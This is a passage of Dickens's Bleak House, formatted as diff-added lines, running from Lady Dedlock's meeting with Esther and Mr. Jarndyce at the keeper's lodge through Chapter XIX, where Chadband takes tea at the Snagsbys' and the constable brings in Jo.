+broke so suddenly--upon us, at least, in that sheltered spot--that
+before we reached the outskirts of the wood the thunder and lightning
+were frequent and the rain came plunging through the leaves as if
+every drop were a great leaden bead. As it was not a time for
+standing among trees, we ran out of the wood, and up and down the
+moss-grown steps which crossed the plantation-fence like two
+broad-staved ladders placed back to back, and made for a keeper's
+lodge which was close at hand. We had often noticed the dark beauty
+of this lodge standing in a deep twilight of trees, and how the ivy
+clustered over it, and how there was a steep hollow near, where we
+had once seen the keeper's dog dive down into the fern as if it were
+water.
+
+The lodge was so dark within, now the sky was overcast, that we only
+clearly saw the man who came to the door when we took shelter there
+and put two chairs for Ada and me. The lattice-windows were all
+thrown open, and we sat just within the doorway watching the storm.
+It was grand to see how the wind awoke, and bent the trees, and drove
+the rain before it like a cloud of smoke; and to hear the solemn
+thunder and to see the lightning; and while thinking with awe of the
+tremendous powers by which our little lives are encompassed, to
+consider how beneficent they are and how upon the smallest flower and
+leaf there was already a freshness poured from all this seeming rage
+which seemed to make creation new again.
+
+"Is it not dangerous to sit in so exposed a place?"
+
+"Oh, no, Esther dear!" said Ada quietly.
+
+Ada said it to me, but I had not spoken.
+
+The beating of my heart came back again. I had never heard the voice,
+as I had never seen the face, but it affected me in the same strange
+way. Again, in a moment, there arose before my mind innumerable
+pictures of myself.
+
+Lady Dedlock had taken shelter in the lodge before our arrival there
+and had come out of the gloom within. She stood behind my chair with
+her hand upon it. I saw her with her hand close to my shoulder when I
+turned my head.
+
+"I have frightened you?" she said.
+
+No. It was not fright. Why should I be frightened!
+
+"I believe," said Lady Dedlock to my guardian, "I have the pleasure
+of speaking to Mr. Jarndyce."
+
+"Your remembrance does me more honour than I had supposed it would,
+Lady Dedlock," he returned.
+
+"I recognized you in church on Sunday. I am sorry that any local
+disputes of Sir Leicester's--they are not of his seeking, however, I
+believe--should render it a matter of some absurd difficulty to show
+you any attention here."
+
+"I am aware of the circumstances," returned my guardian with a smile,
+"and am sufficiently obliged."
+
+She had given him her hand in an indifferent way that seemed habitual
+to her and spoke in a correspondingly indifferent manner, though in a
+very pleasant voice. She was as graceful as she was beautiful,
+perfectly self-possessed, and had the air, I thought, of being able
+to attract and interest any one if she had thought it worth her
+while. The keeper had brought her a chair on which she sat in the
+middle of the porch between us.
+
+"Is the young gentleman disposed of whom you wrote to Sir Leicester
+about and whose wishes Sir Leicester was sorry not to have it in his
+power to advance in any way?" she said over her shoulder to my
+guardian.
+
+"I hope so," said he.
+
+She seemed to respect him and even to wish to conciliate him. There
+was something very winning in her haughty manner, and it became more
+familiar--I was going to say more easy, but that could hardly be--as
+she spoke to him over her shoulder.
+
+"I presume this is your other ward, Miss Clare?"
+
+He presented Ada, in form.
+
+"You will lose the disinterested part of your Don Quixote character,"
+said Lady Dedlock to Mr. Jarndyce over her shoulder again, "if you
+only redress the wrongs of beauty like this. But present me," and she
+turned full upon me, "to this young lady too!"
+
+"Miss Summerson really is my ward," said Mr. Jarndyce. "I am
+responsible to no Lord Chancellor in her case."
+
+"Has Miss Summerson lost both her parents?" said my Lady.
+
+"Yes."
+
+"She is very fortunate in her guardian."
+
+Lady Dedlock looked at me, and I looked at her and said I was indeed.
+All at once she turned from me with a hasty air, almost expressive of
+displeasure or dislike, and spoke to him over her shoulder again.
+
+"Ages have passed since we were in the habit of meeting, Mr.
+Jarndyce."
+
+"A long time. At least I thought it was a long time, until I saw you
+last Sunday," he returned.
+
+"What! Even you are a courtier, or think it necessary to become one
+to me!" she said with some disdain. "I have achieved that reputation,
+I suppose."
+
+"You have achieved so much, Lady Dedlock," said my guardian, "that
+you pay some little penalty, I dare say. But none to me."
+
+"So much!" she repeated, slightly laughing. "Yes!"
+
+With her air of superiority, and power, and fascination, and I know
+not what, she seemed to regard Ada and me as little more than
+children. So, as she slightly laughed and afterwards sat looking at
+the rain, she was as self-possessed and as free to occupy herself
+with her own thoughts as if she had been alone.
+
+"I think you knew my sister when we were abroad together better than
+you know me?" she said, looking at him again.
+
+"Yes, we happened to meet oftener," he returned.
+
+"We went our several ways," said Lady Dedlock, "and had little in
+common even before we agreed to differ. It is to be regretted, I
+suppose, but it could not be helped."
+
+Lady Dedlock again sat looking at the rain. The storm soon began to
+pass upon its way. The shower greatly abated, the lightning ceased,
+the thunder rolled among the distant hills, and the sun began to
+glisten on the wet leaves and the falling rain. As we sat there,
+silently, we saw a little pony phaeton coming towards us at a merry
+pace.
+
+"The messenger is coming back, my Lady," said the keeper, "with the
+carriage."
+
+As it drove up, we saw that there were two people inside. There
+alighted from it, with some cloaks and wrappers, first the
+Frenchwoman whom I had seen in church, and secondly the pretty girl,
+the Frenchwoman with a defiant confidence, the pretty girl confused
+and hesitating.
+
+"What now?" said Lady Dedlock. "Two!"
+
+"I am your maid, my Lady, at the present," said the Frenchwoman. "The
+message was for the attendant."
+
+"I was afraid you might mean me, my Lady," said the pretty girl.
+
+"I did mean you, child," replied her mistress calmly. "Put that shawl
+on me."
+
+She slightly stooped her shoulders to receive it, and the pretty girl
+lightly dropped it in its place. The Frenchwoman stood unnoticed,
+looking on with her lips very tightly set.
+
+"I am sorry," said Lady Dedlock to Mr. Jarndyce, "that we are not
+likely to renew our former acquaintance. You will allow me to send
+the carriage back for your two wards. It shall be here directly."
+
+But as he would on no account accept this offer, she took a graceful
+leave of Ada--none of me--and put her hand upon his proffered arm,
+and got into the carriage, which was a little, low, park carriage
+with a hood.
+
+"Come in, child," she said to the pretty girl; "I shall want you. Go
+on!"
+
+The carriage rolled away, and the Frenchwoman, with the wrappers she
+had brought hanging over her arm, remained standing where she had
+alighted.
+
+I suppose there is nothing pride can so little bear with as pride
+itself, and that she was punished for her imperious manner. Her
+retaliation was the most singular I could have imagined. She remained
+perfectly still until the carriage had turned into the drive, and
+then, without the least discomposure of countenance, slipped off her
+shoes, left them on the ground, and walked deliberately in the same
+direction through the wettest of the wet grass.
+
+"Is that young woman mad?" said my guardian.
+
+"Oh, no, sir!" said the keeper, who, with his wife, was looking after
+her. "Hortense is not one of that sort. She has as good a head-piece
+as the best. But she's mortal high and passionate--powerful high and
+passionate; and what with having notice to leave, and having others
+put above her, she don't take kindly to it."
+
+"But why should she walk shoeless through all that water?" said my
+guardian.
+
+"Why, indeed, sir, unless it is to cool her down!" said the man.
+
+"Or unless she fancies it's blood," said the woman. "She'd as soon
+walk through that as anything else, I think, when her own's up!"
+
+We passed not far from the house a few minutes afterwards. Peaceful
+as it had looked when we first saw it, it looked even more so now,
+with a diamond spray glittering all about it, a light wind blowing,
+the birds no longer hushed but singing strongly, everything refreshed
+by the late rain, and the little carriage shining at the doorway like
+a fairy carriage made of silver. Still, very steadfastly and quietly
+walking towards it, a peaceful figure too in the landscape, went
+Mademoiselle Hortense, shoeless, through the wet grass.
+
+
+
+
+CHAPTER XIX
+
+Moving On
+
+
+It is the long vacation in the regions of Chancery Lane. The good
+ships Law and Equity, those teak-built, copper-bottomed,
+iron-fastened, brazen-faced, and not by any means fast-sailing
+clippers are laid up in ordinary. The Flying Dutchman, with a crew of
+ghostly clients imploring all whom they may encounter to peruse their
+papers, has drifted, for the time being, heaven knows where. The
+courts are all shut up; the public offices lie in a hot sleep.
+Westminster Hall itself is a shady solitude where nightingales might
+sing, and a tenderer class of suitors than is usually found there,
+walk.
+
+The Temple, Chancery Lane, Serjeants' Inn, and Lincoln's Inn even
+unto the Fields are like tidal harbours at low water, where stranded
+proceedings, offices at anchor, idle clerks lounging on lop-sided
+stools that will not recover their perpendicular until the current of
+Term sets in, lie high and dry upon the ooze of the long vacation.
+Outer doors of chambers are shut up by the score, messages and
+parcels are to be left at the Porter's Lodge by the bushel. A crop of
+grass would grow in the chinks of the stone pavement outside
+Lincoln's Inn Hall, but that the ticket-porters, who have nothing to
+do beyond sitting in the shade there, with their white aprons over
+their heads to keep the flies off, grub it up and eat it
+thoughtfully.
+
+There is only one judge in town. Even he only comes twice a week to
+sit in chambers. If the country folks of those assize towns on his
+circuit could see him now! No full-bottomed wig, no red petticoats,
+no fur, no javelin-men, no white wands. Merely a close-shaved
+gentleman in white trousers and a white hat, with sea-bronze on the
+judicial countenance, and a strip of bark peeled by the solar rays
+from the judicial nose, who calls in at the shell-fish shop as he
+comes along and drinks iced ginger-beer!
+
+The bar of England is scattered over the face of the earth. How
+England can get on through four long summer months without its
+bar--which is its acknowledged refuge in adversity and its only
+legitimate triumph in prosperity--is beside the question; assuredly
+that shield and buckler of Britannia are not in present wear. The
+learned gentleman who is always so tremendously indignant at the
+unprecedented outrage committed on the feelings of his client by the
+opposite party that he never seems likely to recover it is doing
+infinitely better than might be expected in Switzerland. The learned
+gentleman who does the withering business and who blights all
+opponents with his gloomy sarcasm is as merry as a grig at a French
+watering-place. The learned gentleman who weeps by the pint on the
+smallest provocation has not shed a tear these six weeks. The very
+learned gentleman who has cooled the natural heat of his gingery
+complexion in pools and fountains of law until he has become great in
+knotty arguments for term-time, when he poses the drowsy bench with
+legal "chaff," inexplicable to the uninitiated and to most of the
+initiated too, is roaming, with a characteristic delight in aridity
+and dust, about Constantinople. Other dispersed fragments of the same
+great palladium are to be found on the canals of Venice, at the
+second cataract of the Nile, in the baths of Germany, and sprinkled
+on the sea-sand all over the English coast. Scarcely one is to be
+encountered in the deserted region of Chancery Lane. If such a lonely
+member of the bar do flit across the waste and come upon a prowling
+suitor who is unable to leave off haunting the scenes of his anxiety,
+they frighten one another and retreat into opposite shades.
+
+It is the hottest long vacation known for many years. All the young
+clerks are madly in love, and according to their various degrees,
+pine for bliss with the beloved object, at Margate, Ramsgate, or
+Gravesend. All the middle-aged clerks think their families too large.
+All the unowned dogs who stray into the Inns of Court and pant about
+staircases and other dry places seeking water give short howls of
+aggravation. All the blind men's dogs in the streets draw their
+masters against pumps or trip them over buckets. A shop with a
+sun-blind, and a watered pavement, and a bowl of gold and silver fish
+in the window, is a sanctuary. Temple Bar gets so hot that it is, to
+the adjacent Strand and Fleet Street, what a heater is in an urn, and
+keeps them simmering all night.
+
+There are offices about the Inns of Court in which a man might be
+cool, if any coolness were worth purchasing at such a price in
+dullness; but the little thoroughfares immediately outside those
+retirements seem to blaze. In Mr. Krook's court, it is so hot that
+the people turn their houses inside out and sit in chairs upon the
+pavement--Mr. Krook included, who there pursues his studies, with his
+cat (who never is too hot) by his side. The Sol's Arms has
+discontinued the Harmonic Meetings for the season, and Little Swills
+is engaged at the Pastoral Gardens down the river, where he comes out
+in quite an innocent manner and sings comic ditties of a juvenile
+complexion calculated (as the bill says) not to wound the feelings of
+the most fastidious mind.
+
+Over all the legal neighbourhood there hangs, like some great veil of
+rust or gigantic cobweb, the idleness and pensiveness of the long
+vacation. Mr. Snagsby, law-stationer of Cook's Court, Cursitor
+Street, is sensible of the influence not only in his mind as a
+sympathetic and contemplative man, but also in his business as a
+law-stationer aforesaid. He has more leisure for musing in Staple Inn
+and in the Rolls Yard during the long vacation than at other seasons,
+and he says to the two 'prentices, what a thing it is in such hot
+weather to think that you live in an island with the sea a-rolling
+and a-bowling right round you.
+
+Guster is busy in the little drawing-room on this present afternoon
+in the long vacation, when Mr. and Mrs. Snagsby have it in
+contemplation to receive company. The expected guests are rather
+select than numerous, being Mr. and Mrs. Chadband and no more. From
+Mr. Chadband's being much given to describe himself, both verbally
+and in writing, as a vessel, he is occasionally mistaken by strangers
+for a gentleman connected with navigation, but he is, as he expresses
+it, "in the ministry." Mr. Chadband is attached to no particular
+denomination and is considered by his persecutors to have nothing so
+very remarkable to say on the greatest of subjects as to render his
+volunteering, on his own account, at all incumbent on his conscience;
+but he has his followers, and Mrs. Snagsby is of the number. Mrs.
+Snagsby has but recently taken a passage upward by the vessel,
+Chadband; and her attention was attracted to that Bark A 1, when she
+was something flushed by the hot weather.
+
+"My little woman," says Mr. Snagsby to the sparrows in Staple Inn,
+"likes to have her religion rather sharp, you see!"
+
+So Guster, much impressed by regarding herself for the time as the
+handmaid of Chadband, whom she knows to be endowed with the gift of
+holding forth for four hours at a stretch, prepares the little
+drawing-room for tea. All the furniture is shaken and dusted, the
+portraits of Mr. and Mrs. Snagsby are touched up with a wet cloth,
+the best tea-service is set forth, and there is excellent provision
+made of dainty new bread, crusty twists, cool fresh butter, thin
+slices of ham, tongue, and German sausage, and delicate little rows
+of anchovies nestling in parsley, not to mention new-laid eggs, to be
+brought up warm in a napkin, and hot buttered toast. For Chadband is
+rather a consuming vessel--the persecutors say a gorging vessel--and
+can wield such weapons of the flesh as a knife and fork remarkably
+well.
+
+Mr. Snagsby in his best coat, looking at all the preparations when
+they are completed and coughing his cough of deference behind his
+hand, says to Mrs. Snagsby, "At what time did you expect Mr. and Mrs.
+Chadband, my love?"
+
+"At six," says Mrs. Snagsby.
+
+Mr. Snagsby observes in a mild and casual way that "it's gone that."
+
+"Perhaps you'd like to begin without them," is Mrs. Snagsby's
+reproachful remark.
+
+Mr. Snagsby does look as if he would like it very much, but he says,
+with his cough of mildness, "No, my dear, no. I merely named the
+time."
+
+"What's time," says Mrs. Snagsby, "to eternity?"
+
+"Very true, my dear," says Mr. Snagsby. "Only when a person lays in
+victuals for tea, a person does it with a view--perhaps--more to
+time. And when a time is named for having tea, it's better to come up
+to it."
+
+"To come up to it!" Mrs. Snagsby repeats with severity. "Up to it! As
+if Mr. Chadband was a fighter!"
+
+"Not at all, my dear," says Mr. Snagsby.
+
+Here, Guster, who had been looking out of the bedroom window, comes
+rustling and scratching down the little staircase like a popular
+ghost, and falling flushed into the drawing-room, announces that Mr.
+and Mrs. Chadband have appeared in the court. The bell at the inner
+door in the passage immediately thereafter tinkling, she is
+admonished by Mrs. Snagsby, on pain of instant reconsignment to her
+patron saint, not to omit the ceremony of announcement. Much
+discomposed in her nerves (which were previously in the best order)
+by this threat, she so fearfully mutilates that point of state as to
+announce "Mr. and Mrs. Cheeseming, least which, Imeantersay,
+whatsername!" and retires conscience-stricken from the presence.
+
+Mr. Chadband is a large yellow man with a fat smile and a general
+appearance of having a good deal of train oil in his system. Mrs.
+Chadband is a stern, severe-looking, silent woman. Mr. Chadband moves
+softly and cumbrously, not unlike a bear who has been taught to walk
+upright. He is very much embarrassed about the arms, as if they were
+inconvenient to him and he wanted to grovel, is very much in a
+perspiration about the head, and never speaks without first putting
+up his great hand, as delivering a token to his hearers that he is
+going to edify them.
+
+"My friends," says Mr. Chadband, "peace be on this house! On the
+master thereof, on the mistress thereof, on the young maidens, and on
+the young men! My friends, why do I wish for peace? What is peace? Is
+it war? No. Is it strife? No. Is it lovely, and gentle, and
+beautiful, and pleasant, and serene, and joyful? Oh, yes! Therefore,
+my friends, I wish for peace, upon you and upon yours."
+
+In consequence of Mrs. Snagsby looking deeply edified, Mr. Snagsby
+thinks it expedient on the whole to say amen, which is well received.
+
+"Now, my friends," proceeds Mr. Chadband, "since I am upon this
+theme--"
+
+Guster presents herself. Mrs. Snagsby, in a spectral bass voice and
+without removing her eyes from Chadband, says with dreadful
+distinctness, "Go away!"
+
+"Now, my friends," says Chadband, "since I am upon this theme, and in
+my lowly path improving it--"
+
+Guster is heard unaccountably to murmur "one thousing seven hundred
+and eighty-two." The spectral voice repeats more solemnly, "Go away!"
+
+"Now, my friends," says Mr. Chadband, "we will inquire in a spirit of
+love--"
+
+Still Guster reiterates "one thousing seven hundred and eighty-two."
+
+Mr. Chadband, pausing with the resignation of a man accustomed to be
+persecuted and languidly folding up his chin into his fat smile,
+says, "Let us hear the maiden! Speak, maiden!"
+
+"One thousing seven hundred and eighty-two, if you please, sir. Which
+he wish to know what the shilling ware for," says Guster, breathless.
+
+"For?" returns Mrs. Chadband. "For his fare!"
+
+Guster replied that "he insistes on one and eightpence or on
+summonsizzing the party." Mrs. Snagsby and Mrs. Chadband are
+proceeding to grow shrill in indignation when Mr. Chadband quiets the
+tumult by lifting up his hand.
+
+"My friends," says he, "I remember a duty unfulfilled yesterday. It
+is right that I should be chastened in some penalty. I ought not to
+murmur. Rachael, pay the eightpence!"
+
+While Mrs. Snagsby, drawing her breath, looks hard at Mr. Snagsby, as
+who should say, "You hear this apostle!" and while Mr. Chadband glows
+with humility and train oil, Mrs. Chadband pays the money. It is Mr.
+Chadband's habit--it is the head and front of his pretensions
+indeed--to keep this sort of debtor and creditor account in the
+smallest items and to post it publicly on the most trivial occasions.
+
+"My friends," says Chadband, "eightpence is not much; it might justly
+have been one and fourpence; it might justly have been half a crown.
+O let us be joyful, joyful! O let us be joyful!"
+
+With which remark, which appears from its sound to be an extract in
+verse, Mr. Chadband stalks to the table, and before taking a chair,
+lifts up his admonitory hand.
+
+"My friends," says he, "what is this which we now behold as being
+spread before us? Refreshment. Do we need refreshment then, my
+friends? We do. And why do we need refreshment, my friends? Because
+we are but mortal, because we are but sinful, because we are but of
+the earth, because we are not of the air. Can we fly, my friends? We
+cannot. Why can we not fly, my friends?"
+
+Mr. Snagsby, presuming on the success of his last point, ventures to
+observe in a cheerful and rather knowing tone, "No wings." But is
+immediately frowned down by Mrs. Snagsby.
+
+"I say, my friends," pursues Mr. Chadband, utterly rejecting and
+obliterating Mr. Snagsby's suggestion, "why can we not fly? Is it
+because we are calculated to walk? It is. Could we walk, my friends,
+without strength? We could not. What should we do without strength,
+my friends? Our legs would refuse to bear us, our knees would double
+up, our ankles would turn over, and we should come to the ground.
+Then from whence, my friends, in a human point of view, do we derive
+the strength that is necessary to our limbs? Is it," says Chadband,
+glancing over the table, "from bread in various forms, from butter
+which is churned from the milk which is yielded unto us by the cow,
+from the eggs which are laid by the fowl, from ham, from tongue, from
+sausage, and from such like? It is. Then let us partake of the good
+things which are set before us!"
+
+The persecutors denied that there was any particular gift in Mr.
+Chadband's piling verbose flights of stairs, one upon another, after
+this fashion. But this can only be received as a proof of their
+determination to persecute, since it must be within everybody's
+experience that the Chadband style of oratory is widely received and
+much admired.
+
+Mr. Chadband, however, having concluded for the present, sits down at
+Mr. Snagsby's table and lays about him prodigiously. The conversion
+of nutriment of any sort into oil of the quality already mentioned
+appears to be a process so inseparable from the constitution of this
+exemplary vessel that in beginning to eat and drink, he may be
+described as always becoming a kind of considerable oil mills or
+other large factory for the production of that article on a wholesale
+scale. On the present evening of the long vacation, in Cook's Court,
+Cursitor Street, he does such a powerful stroke of business that the
+warehouse appears to be quite full when the works cease.
+
+At this period of the entertainment, Guster, who has never recovered
+her first failure, but has neglected no possible or impossible means
+of bringing the establishment and herself into contempt--among which
+may be briefly enumerated her unexpectedly performing clashing
+military music on Mr. Chadband's head with plates, and afterwards
+crowning that gentleman with muffins--at which period of the
+entertainment, Guster whispers Mr. Snagsby that he is wanted.
+
+"And being wanted in the--not to put too fine a point upon it--in the
+shop," says Mr. Snagsby, rising, "perhaps this good company will
+excuse me for half a minute."
+
+Mr. Snagsby descends and finds the two 'prentices intently
+contemplating a police constable, who holds a ragged boy by the arm.
+
+"Why, bless my heart," says Mr. Snagsby, "what's the matter!"
+
+"This boy," says the constable, "although he's repeatedly told to,
+won't move on--"
+
+"I'm always a-moving on, sar," cries the boy, wiping away his grimy
+tears with his arm. "I've always been a-moving and a-moving on, ever
+since I was born. Where can I possibly move to, sir, more nor I do
+move!"
+
+"He won't move on," says the constable calmly, with a slight
+professional hitch of his neck involving its better settlement in his
+stiff stock, "although he has been repeatedly cautioned, and
+therefore I am obliged to take him into custody. He's as obstinate a
+young gonoph as I know. He WON'T move on."
+
+"Oh, my eye! Where can I move to!" cries the boy, clutching quite
+desperately at his hair and beating his bare feet upon the floor of
+Mr. Snagsby's passage.
+
+"Don't you come none of that or I shall make blessed short work of
+you!" says the constable, giving him a passionless shake. "My
+instructions are that you are to move on. I have told you so five
+hundred times."
+
+"But where?" cries the boy.
+
+"Well! Really, constable, you know," says Mr. Snagsby wistfully, and
+coughing behind his hand his cough of great perplexity and doubt,
+"really, that does seem a question. Where, you know?"
+
+"My instructions don't go to that," replies the constable. "My
+instructions are that this boy is to move on."
+
+Do you hear, Jo? It is nothing to you or to any one else that the
+great lights of the parliamentary sky have failed for some few years
+in this business to set you the example of moving on. The one grand
+recipe remains for you--the profound philosophical prescription--the
+be-all and the end-all of your strange existence upon earth. Move on!
+You are by no means to move off, Jo, for the great lights can't at
+all agree about that. Move on!
+
+Mr. Snagsby says nothing to this effect, says nothing at all indeed,
+but coughs his forlornest cough, expressive of no thoroughfare in any
+direction. By this time Mr. and Mrs. Chadband and Mrs. Snagsby,
+hearing the altercation, have appeared upon the stairs. Guster having
+never left the end of the passage, the whole household are assembled.
+
+"The simple question is, sir," says the constable, "whether you know
+this boy. He says you do."
+
+Mrs. Snagsby, from her elevation, instantly cries out, "No he don't!"
+
+"My lit-tle woman!" says Mr. Snagsby, looking up the staircase. "My
+love, permit me! Pray have a moment's patience, my dear. I do know
+something of this lad, and in what I know of him, I can't say that
+there's any harm; perhaps on the contrary, constable." To whom the
+law-stationer relates his Joful and woeful experience, suppressing
+the half-crown fact.
+
+"Well!" says the constable, "so far, it seems, he had grounds for
+what he said. When I took him into custody up in Holborn, he said you
+knew him. Upon that, a young man who was in the crowd said he was
+acquainted with you, and you were a respectable housekeeper, and if
+I'd call and make the inquiry, he'd appear. The young man don't seem
+inclined to keep his word, but--Oh! Here IS the young man!"
+
+Enter Mr. Guppy, who nods to Mr. Snagsby and touches his hat with the
+chivalry of clerkship to the ladies on the stairs.
+
+"I was strolling away from the office just now when I found this row
+going on," says Mr. Guppy to the law-stationer, "and as your name was
+mentioned, I thought it was right the thing should be looked into."
+
+"It was very good-natured of you, sir," says Mr. Snagsby, "and I am
+obliged to you." And Mr. Snagsby again relates his experience, again
+suppressing the half-crown fact.
+
+"Now, I know where you live," says the constable, then, to Jo. "You
+live down in Tom-all-Alone's. That's a nice innocent place to live
+in, ain't it?"
+
+"I can't go and live in no nicer place, sir," replies Jo. "They
+wouldn't have nothink to say to me if I wos to go to a nice innocent
+place fur to live. Who ud go and let a nice innocent lodging to such
+a reg'lar one as me!"
+
+"You are very poor, ain't you?" says the constable.
+
+"Yes, I am indeed, sir, wery poor in gin'ral," replies Jo. "I leave
+you to judge now! I shook these two half-crowns out of him," says the
+constable, producing them to the company, "in only putting my hand
+upon him!"
+
+"They're wot's left, Mr. Snagsby," says Jo, "out of a sov-ring as wos
+give me by a lady in a wale as sed she wos a servant and as come to
+my crossin one night and asked to be showd this 'ere ouse and the
+ouse wot him as you giv the writin to died at, and the berrin-ground
+wot he's berrid in. She ses to me she ses 'are you the boy at the
+inkwhich?' she ses. I ses 'yes' I ses. She ses to me she ses 'can you
+show me all them places?' I ses 'yes I can' I ses. And she ses to me
+'do it' and I dun it and she giv me a sov'ring and hooked it. And I
+an't had much of the sov'ring neither," says Jo, with dirty tears,
+"fur I had to pay five bob, down in Tom-all-Alone's, afore they'd
+square it fur to give me change, and then a young man he thieved
+another five while I was asleep and another boy he thieved ninepence
+and the landlord he stood drains round with a lot more on it."
+
+"You don't expect anybody to believe this, about the lady and the
+sovereign, do you?" says the constable, eyeing him aside with
+ineffable disdain.
+
+"I don't know as I do, sir," replies Jo. "I don't expect nothink at
+all, sir, much, but that's the true hist'ry on it."
+
+"You see what he is!" the constable observes to the audience. "Well,
+Mr. Snagsby, if I don't lock him up this time, will you engage for
+his moving on?"
+
+"No!" cries Mrs. Snagsby from the stairs.
+
+"My little woman!" pleads her husband. "Constable, I have no doubt
+he'll move on. You know you really must do it," says Mr. Snagsby.
+
+"I'm everyways agreeable, sir," says the hapless Jo.
+
+"Do it, then," observes the constable. "You know what you have got to
+do. Do it! And recollect you won't get off so easy next time. Catch
+hold of your money. Now, the sooner you're five mile off, the better
+for all parties."
+
+With this farewell hint and pointing generally to the setting sun as
+a likely place to move on to, the constable bids his auditors good
+afternoon and makes the echoes of Cook's Court perform slow music for
+him as he walks away on the shady side, carrying his iron-bound hat
+in his hand for a little ventilation.
+
+Now, Jo's improbable story concerning the lady and the sovereign has
+awakened more or less the curiosity of all the company. Mr. Guppy,
+who has an inquiring mind in matters of evidence and who has
+been suffering severely from the lassitude of the long vacation,
+takes that interest in the case that he enters on a regular
+cross-examination of the witness, which is found so interesting by
+the ladies that Mrs. Snagsby politely invites him to step upstairs
+and drink a cup of tea, if he will excuse the disarranged state of
+the tea-table, consequent on their previous exertions. Mr. Guppy
+yielding his assent to this proposal, Jo is requested to follow into
+the drawing-room doorway, where Mr. Guppy takes him in hand as a
+witness, patting him into this shape, that shape, and the other shape
+like a butterman dealing with so much butter, and worrying him
+according to the best models. Nor is the examination unlike many such
+model displays, both in respect of its eliciting nothing and of its
+being lengthy, for Mr. Guppy is sensible of his talent, and Mrs.
+Snagsby feels not only that it gratifies her inquisitive disposition,
+but that it lifts her husband's establishment higher up in the law.
+During the progress of this keen encounter, the vessel Chadband,
+being merely engaged in the oil trade, gets aground and waits to be
+floated off.
+
+"Well!" says Mr. Guppy. "Either this boy sticks to it like
+cobbler's-wax or there is something out of the common here that beats
+anything that ever came into my way at Kenge and Carboy's."
+
+Mrs. Chadband whispers Mrs. Snagsby, who exclaims, "You don't say
+so!"
+
+"For years!" replied Mrs. Chadband.
+
+"Has known Kenge and Carboy's office for years," Mrs. Snagsby
+triumphantly explains to Mr. Guppy. "Mrs. Chadband--this gentleman's
+wife--Reverend Mr. Chadband."
+
+"Oh, indeed!" says Mr. Guppy.
+
+"Before I married my present husband," says Mrs. Chadband.
+
+"Was you a party in anything, ma'am?" says Mr. Guppy, transferring
+his cross-examination.
+
+"No."
+
+"NOT a party in anything, ma'am?" says Mr. Guppy.
+
+Mrs. Chadband shakes her head.
+
+"Perhaps you were acquainted with somebody who was a party in
+something, ma'am?" says Mr. Guppy, who likes nothing better than to
+model his conversation on forensic principles.
+
+"Not exactly that, either," replies Mrs. Chadband, humouring the joke
+with a hard-favoured smile.
+
+"Not exactly that, either!" repeats Mr. Guppy. "Very good. Pray,
+ma'am, was it a lady of your acquaintance who had some transactions
+(we will not at present say what transactions) with Kenge and
+Carboy's office, or was it a gentleman of your acquaintance? Take
+time, ma'am. We shall come to it presently. Man or woman, ma'am?"
+
+"Neither," says Mrs. Chadband as before.
+
+"Oh! A child!" says Mr. Guppy, throwing on the admiring Mrs. Snagsby
+the regular acute professional eye which is thrown on British
+jurymen. "Now, ma'am, perhaps you'll have the kindness to tell us
+WHAT child."
+
+"You have got it at last, sir," says Mrs. Chadband with another
+hard-favoured smile. "Well, sir, it was before your time, most
+likely, judging from your appearance. I was left in charge of a child
+named Esther Summerson, who was put out in life by Messrs. Kenge and
+Carboy."
+
+"Miss Summerson, ma'am!" cries Mr. Guppy, excited.
+
+"I call her Esther Summerson," says Mrs. Chadband with austerity.
+"There was no Miss-ing of the girl in my time. It was Esther.
+'Esther, do this! Esther, do that!' and she was made to do it."
+
+"My dear ma'am," returns Mr. Guppy, moving across the small
+apartment, "the humble individual who now addresses you received that
+young lady in London when she first came here from the establishment
+to which you have alluded. Allow me to have the pleasure of taking
+you by the hand."
+
+Mr. Chadband, at last seeing his opportunity, makes his accustomed
+signal and rises with a smoking head, which he dabs with his
+pocket-handkerchief. Mrs. Snagsby whispers "Hush!"
+
+"My friends," says Chadband, "we have partaken in moderation" (which
+was certainly not the case so far as he was concerned) "of the
+comforts which have been provided for us. May this house live upon
+the fatness of the land; may corn and wine be plentiful therein; may
+it grow, may it thrive, may it prosper, may it advance, may it
+proceed, may it press forward! But, my friends, have we partaken of
+anything else? We have. My friends, of what else have we partaken? Of
+spiritual profit? Yes. From whence have we derived that spiritual
+profit? My young friend, stand forth!"
+
+Jo, thus apostrophized, gives a slouch backward, and another slouch
+forward, and another slouch to each side, and confronts the eloquent
+Chadband with evident doubts of his intentions.
+
+"My young friend," says Chadband, "you are to us a pearl, you are to
+us a diamond, you are to us a gem, you are to us a jewel. And why, my
+young friend?"
+
+"I don't know," replies Jo. "I don't know nothink."
+
+"My young friend," says Chadband, "it is because you know nothing
+that you are to us a gem and jewel. For what are you, my young
+friend? Are you a beast of the field? No. A bird of the air? No. A
+fish of the sea or river? No. You are a human boy, my young friend. A
+human boy. O glorious to be a human boy! And why glorious, my young
+friend? Because you are capable of receiving the lessons of wisdom,
+because you are capable of profiting by this discourse which I now
+deliver for your good, because you are not a stick, or a staff, or a
+stock, or a stone, or a post, or a pillar.
+
+   O running stream of sparkling joy
+   To be a soaring human boy!
+
+And do you cool yourself in that stream now, my young friend? No.
+Why do you not cool yourself in that stream now? Because you are in a
+state of darkness, because you are in a state of obscurity, because
+you are in a state of sinfulness, because you are in a state of
+bondage. My young friend, what is bondage? Let us, in a spirit of
+love, inquire."
+
+At this threatening stage of the discourse, Jo, who seems to have
+been gradually going out of his mind, smears his right arm over his
+face and gives a terrible yawn. Mrs. Snagsby indignantly expresses
+her belief that he is a limb of the arch-fiend.
+
+"My friends," says Mr. Chadband with his persecuted chin folding
+itself into its fat smile again as he looks round, "it is right that
+I should be humbled, it is right that I should be tried, it is right
+that I should be mortified, it is right that I should be corrected. I
+stumbled, on Sabbath last, when I thought with pride of my three
+hours' improving. The account is now favourably balanced: my creditor
+has accepted a composition. O let us be joyful, joyful! O let us be
+joyful!"
+
+Great sensation on the part of Mrs. Snagsby.
+
+"My friends," says Chadband, looking round him in conclusion, "I will
+not proceed with my young friend now. Will you come to-morrow, my
+young friend, and inquire of this good lady where I am to be found to
+deliver a discourse unto you, and will you come like the thirsty
+swallow upon the next day, and upon the day after that, and upon the
+day after that, and upon many pleasant days, to hear discourses?"
+(This with a cow-like lightness.)
+
+Jo, whose immediate object seems to be to get away on any terms,
+gives a shuffling nod. Mr. Guppy then throws him a penny, and Mrs.
+Snagsby calls to Guster to see him safely out of the house. But
+before he goes downstairs, Mr. Snagsby loads him with some broken
+meats from the table, which he carries away, hugging in his arms.
+
+So, Mr. Chadband--of whom the persecutors say that it is no wonder he
+should go on for any length of time uttering such abominable
+nonsense, but that the wonder rather is that he should ever leave
